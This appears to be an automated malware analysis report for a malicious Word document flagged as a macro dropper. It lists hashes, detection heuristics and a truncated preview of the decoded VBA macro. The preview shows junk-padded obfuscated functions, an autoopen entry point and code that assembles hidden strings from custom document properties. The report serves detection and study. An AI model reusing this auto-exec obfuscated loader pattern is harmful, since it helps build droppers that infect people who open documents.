Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3728cecd2be075b0…

MALICIOUS

Office (OLE)

67.0 KB Created: 2017-08-14 09:26:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 4377385b36ee38c3c7189a62bb5637fe SHA-1: d50a114b7f843a2a35a16d95d1e723ae4d65621c SHA-256: 3728cecd2be075b09a3a6d8d8c5923fe14cf381e3070266cf05fa51585def305
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing obfuscated VBA macros. Heuristics indicate the presence of an auto-executing loader that uses CreateObject and Shell execution, strongly suggesting it downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Dropper.Agent-6335671-0' further supports this dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13443 bytes
SHA-256: a5b7577db287809abb62879777d479135b7adeb336b48d10124d1438944fcd35
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function UnsupUnsupUnsupUnsupUnsup(ByVal dKAraMdKAraMdKAraMdKAraMdKAraM As String, ByVal WLMZaLWLMZaLWLMZaLWLMZaLWLMZaL As Variant) As Boolean
For Each nzYACnzYACnzYACnzYACnzYAC In WLMZaLWLMZaLWLMZaLWLMZaLWLMZaL
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
    If nzYACnzYACnzYACnzYACnzYAC = dKAraMdKAraMdKAraMdKAraMdKAraM Then
        UnsupUnsupUnsupUnsupUnsup = True
        Exit Function
    End If
    BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
    BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
Next nzYACnzYACnzYACnzYACnzYAC
End Function
 Function nSyxCnSyxCnSyxCnSyxCnSyxC(ByVal uxBLfWuxBLfWuxBLfWuxBLfWuxBLfW As String, ByVal eEsTvweEsTvweEsTvweEsTvweEsTvw As Variant) As Boolean
For Each WNFsgWNFsgWNFsgWNFsgWNFsg In eEsTvweEsTvweEsTvweEsTvweEsTvw
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
    If WNFsgWNFsgWNFsgWNFsgWNFsg = uxBLfWuxBLfWuxBLfWuxBLfWuxBLfW Then
        nSyxCnSyxCnSyxCnSyxCnSyxC = True
        Exit Function
    End If
    BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
    BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
Next WNFsgWNFsgWNFsgWNFsgWNFsg
End Function
 Function wTHyewTHyewTHyewTHyewTHye(ByVal eWcddeWcddeWcddeWcddeWcdd As String, ByVal PBhXwPBhXwPBhXwPBhXwPBhXw As Variant) As Boolean
For Each MMkmkMMkmkMMkmkMMkmkMMkmk In PBhXwPBhXwPBhXwPBhXwPBhXw
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
    If MMkmkMMkmkMMkmkMMkmkMMkmk = eWcddeWcddeWcddeWcddeWcdd Then
        wTHyewTHyewTHyewTHyewTHye = True
        Exit Function
    End If
    BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
    BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
Next MMkmkMMkmkMMkmkMMkmkMMkmk
End Function
 Function ULSkuRULSkuRULSkuRULSkuRULSkuR(ByVal ppNnchppNnchppNnchppNnchppNnch As String, ByVal GxkURdGxkURdGxkURdGxkURdGxkURd As Variant) As Boolean
For Each eCdUwVeCdUwVeCdUwVeCdUwVeCdUwV In GxkURdGxkURdGxkURdGxkURdGxkURd
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
    If eCdUwVeCdUwVeCdUwVeCdUwVeCdUwV = ppNnchppNnchppNnchppNnchppNnch Then
        ULSkuRULSkuRULSkuRULSkuRULSkuR = True
        Exit Function
    End If
    BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
    BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
Next eCdUwVeCdUwVeCdUwVeCdUwVeCdUwV
End Function

Sub autoopen()
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
bxaFrhbxaFrhbxaFrhbxaFrhbxaFrh
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
End Sub
Public Function eSEGAeSEGAeSEGAeSEGAeSEGA()
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
UPhSWKUPhSWKUPhSWKUPhSWKUPhSWK = Mid(ActiveDocument.CustomDocumentProperties("LyGxoZPdQK"), 10) + ""
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
kgZMYkgZMYkgZMYkgZMYkgZMY = Mid(ActiveDocument.CustomDocumentProperties("WIwnxqzYtX"), 10)
eSEGAeSEGAeSEGAeSEGAeSEGA = UPhSWKUPhSWKUPhSWKUPhSWKUPhSWK + kgZMYkgZMYkgZMYkgZMYkgZMY
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
End Function
Public Function nXyYDnXyYDnXyYDnXyYDnXyYD()
BdLAzBdLAzBdLAzBdLAzBdLAz = "BdLAzBdLAzBdLAzBdLAzBdLAz"
SVnVxkSVnVxkSVnVxkSVnVxkSVnVxk = ActiveDocument.CustomDocumentProperties("zBwnGLXApf")
nXyYDnXyYDnXyYDnXyYDnXyYD = SVnVxkSVnVxkSVnVxkSVnVxkSVnVxk
BdLAzBdLAzBdLAzBdLAzBdLAz = 
... (truncated)

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